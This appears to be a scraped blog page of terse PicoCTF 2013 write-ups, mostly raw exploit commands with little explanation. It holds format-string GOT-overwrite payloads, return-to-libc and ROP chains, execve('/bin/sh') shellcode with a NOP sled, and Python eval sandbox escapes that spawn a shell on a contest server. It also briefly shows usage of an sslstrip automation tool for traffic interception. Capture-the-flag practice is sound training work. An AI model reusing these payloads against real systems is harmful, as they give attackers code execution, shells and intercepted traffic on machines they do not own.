$ cat offsetbruteforcer.py
# PicoCTF 2k13 - Format 2
$cat format2.c$objdump -R format2$gdb -q format2(gdb)x/xw 0x0804a008(gdb)disassemble main$# 0x804a000 <printf@got.plt>: 0x080483c6 --> 0x080483e6 $ltrace ./format2 `python -c 'print "/bin/sh;" + "\x02\xd6\xff\xff" + "\x0f\xd6\xff\xff" + "\x90"*4 + "\x01\xa0\x04\x08" + "%x"*9 + "%.31x" + "%hn" + "%hn" + "%134513534d" + "%n"'`$./format2 `python -c 'print "/bin/sh;" + "\x02\xd6\xff\xff" + "\x0f\xd6\xff\xff" + "\x90"*4 + "\x01\xa0\x04\x08" + "%x"*9 + "%.31x" + "%hn" + "%hn" + "%134513534d" + "%n"'`$# 0x804a000 <printf@got.plt>: 0x080483c6 --> 0x080483e6 $ltrace ./format2 `python -c 'print "/bin/sh;" + "\x1b\xd6\xff\xff" + "\x90"*4 + "\x01\xa0\x04\x08" + "%x"*10 + "%hn" + "%134513561d" + "%n"'`$./format2 `python -c 'print "/bin/sh;" + "\x1b\xd6\xff\xff" + "\x90"*4 + "\x01\xa0\x04\x08" + "%x"*10 + "%hn" + "%134513561d" + "%n"'`$# 0x804a01c <putchar@got.plt>: 0x08048436 --> 0x0804858e $export PATH=$PATH:$HOME$ln -s /bin/dash $HOME/$'\307\004\206\004\b\350M\376\377\377\307\004$'$./format2 `python -c 'print "\x1c\xa0\x04\x08" + "%134514058d" + "%9$n"'`$id$cat key
Labels:
format_string,
gdb,
got,
ltrace,
picoctf
# autosslstrip: Automating sslstrip
# cat autosslstrip
#./autosslstrip hook eth0 10.0.1.10 10.0.1.1 /tmp/log.txt --debug#./autosslstrip unhook eth0
# PicoCTF 2k13 - ROP 4
$cat /problems/ROP_4_887f7f28b1f64d7e/rop4.c$ln -s /problems/ROP_4_887f7f28b1f64d7e/rop4 rop4$./getenvadrr SHELL ./rop4$objdump -t rop4 | grep execlp$(python -c 'print "\x90"*140 + "\xb0\x3a\x05\x08" + "\x87\xd8\xff\xff"*2 + "\x00"*4'; cat) | ./rop4cat /problems/ROP_4_887f7f28b1f64d7e/key
Labels:
getenvaddr,
picoctf,
rop
# PicoCTF 2k13 - Overflow 4
$cat buffer_overflow_shellcode.c$cat shellcode-ascii$./buffer_overflow_shellcode `python -c 'print "\x31\xc0\xf7\xe9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x2d\x70\x69\x69\x89\xe6\x50\x56\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90"*42 + "\xa0\xd5\xff\xff"'`sh-4.2$cat key
# PicoCTF 2k13 - ROP 3
$cat /problems/ROP_3_7f3312fe43c46d26/rop3.c$export | grep SHELL$ln -s /problems/ROP_3_7f3312fe43c46d26/rop3 rop3$./getenvaddr SHELL ./rop3$gdb rop3(gdb)break main(gdb)run(gdb)print system(gdb)print exit$(python -c 'print "\x90"*140 + "\x50\x82\xe6\xf7" + "\x30\xbf\xe5\xf7" + "\x87\xd8\xff\xff"'; cat) | ./rop3cat /problems/ROP_3_7f3312fe43c46d26/key
Labels:
getenvaddr,
picoctf,
rop
# PicoCTF 2k13 - Python Eval 5
#cat task5.py#nc python.picoctf.com 6365().__class__.__base__.__subclasses__()[53]__builtins__#ipythonIn [1]:for c in "().__class__.__base__.__subclasses__()[53].__init__.func_globals['linecache'].__dict__['os'].system('sh')":...:print "__builtins__['x'] = __builtins__['x'] + " + '"' + c + '"'...: #nc python.picoctf.com 6365__builtins__['x'] = '' __builtins__['x'] = __builtins__['x'] + "(" __builtins__['x'] = __builtins__['x'] + ")" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "c" __builtins__['x'] = __builtins__['x'] + "l" __builtins__['x'] = __builtins__['x'] + "a" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "b" __builtins__['x'] = __builtins__['x'] + "a" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "e" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "u" __builtins__['x'] = __builtins__['x'] + "b" __builtins__['x'] = __builtins__['x'] + "c" __builtins__['x'] = __builtins__['x'] + "l" __builtins__['x'] = __builtins__['x'] + "a" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "e" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "(" __builtins__['x'] = __builtins__['x'] + ")" __builtins__['x'] = __builtins__['x'] + "[" __builtins__['x'] = __builtins__['x'] + "5" __builtins__['x'] = __builtins__['x'] + "3" __builtins__['x'] = __builtins__['x'] + "]" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "i" __builtins__['x'] = __builtins__['x'] + "n" __builtins__['x'] = __builtins__['x'] + "i" __builtins__['x'] = __builtins__['x'] + "t" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "f" __builtins__['x'] = __builtins__['x'] + "u" __builtins__['x'] = __builtins__['x'] + "n" __builtins__['x'] = __builtins__['x'] + "c" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "g" __builtins__['x'] = __builtins__['x'] + "l" __builtins__['x'] = __builtins__['x'] + "o" __builtins__['x'] = __builtins__['x'] + "b" __builtins__['x'] = __builtins__['x'] + "a" __builtins__['x'] = __builtins__['x'] + "l" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "[" __builtins__['x'] = __builtins__['x'] + "'" __builtins__['x'] = __builtins__['x'] + "l" __builtins__['x'] = __builtins__['x'] + "i" __builtins__['x'] = __builtins__['x'] + "n" __builtins__['x'] = __builtins__['x'] + "e" __builtins__['x'] = __builtins__['x'] + "c" __builtins__['x'] = __builtins__['x'] + "a" __builtins__['x'] = __builtins__['x'] + "c" __builtins__['x'] = __builtins__['x'] + "h" __builtins__['x'] = __builtins__['x'] + "e" __builtins__['x'] = __builtins__['x'] + "'" __builtins__['x'] = __builtins__['x'] + "]" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "d" __builtins__['x'] = __builtins__['x'] + "i" __builtins__['x'] = __builtins__['x'] + "c" __builtins__['x'] = __builtins__['x'] + "t" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "_" __builtins__['x'] = __builtins__['x'] + "[" __builtins__['x'] = __builtins__['x'] + "'" __builtins__['x'] = __builtins__['x'] + "o" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "'" __builtins__['x'] = __builtins__['x'] + "]" __builtins__['x'] = __builtins__['x'] + "." __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "y" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "t" __builtins__['x'] = __builtins__['x'] + "e" __builtins__['x'] = __builtins__['x'] + "m" __builtins__['x'] = __builtins__['x'] + "(" __builtins__['x'] = __builtins__['x'] + "'" __builtins__['x'] = __builtins__['x'] + "s" __builtins__['x'] = __builtins__['x'] + "h" __builtins__['x'] = __builtins__['x'] + "'" __builtins__['x'] = __builtins__['x'] + ")" None; exec __builtins__['x'] ls -lhcat flag_for_masters
# PicoCTF 2k13 - Python Eval 4
#cat task4.py#nc python.picoctf.com 6364GET /?"+(__builtins__.__import__('os').execl('/bin/sh','sh'))+"ls -lcat super_awesome_flag
# PicoCTF 2k13 - Broken CBC
#cat cbc_server.py#cat padding_oracle.py#./padding_oracle.py
Labels:
cbc,
crypto,
padding_oracle,
picoctf
Subscribe to:
Posts (Atom)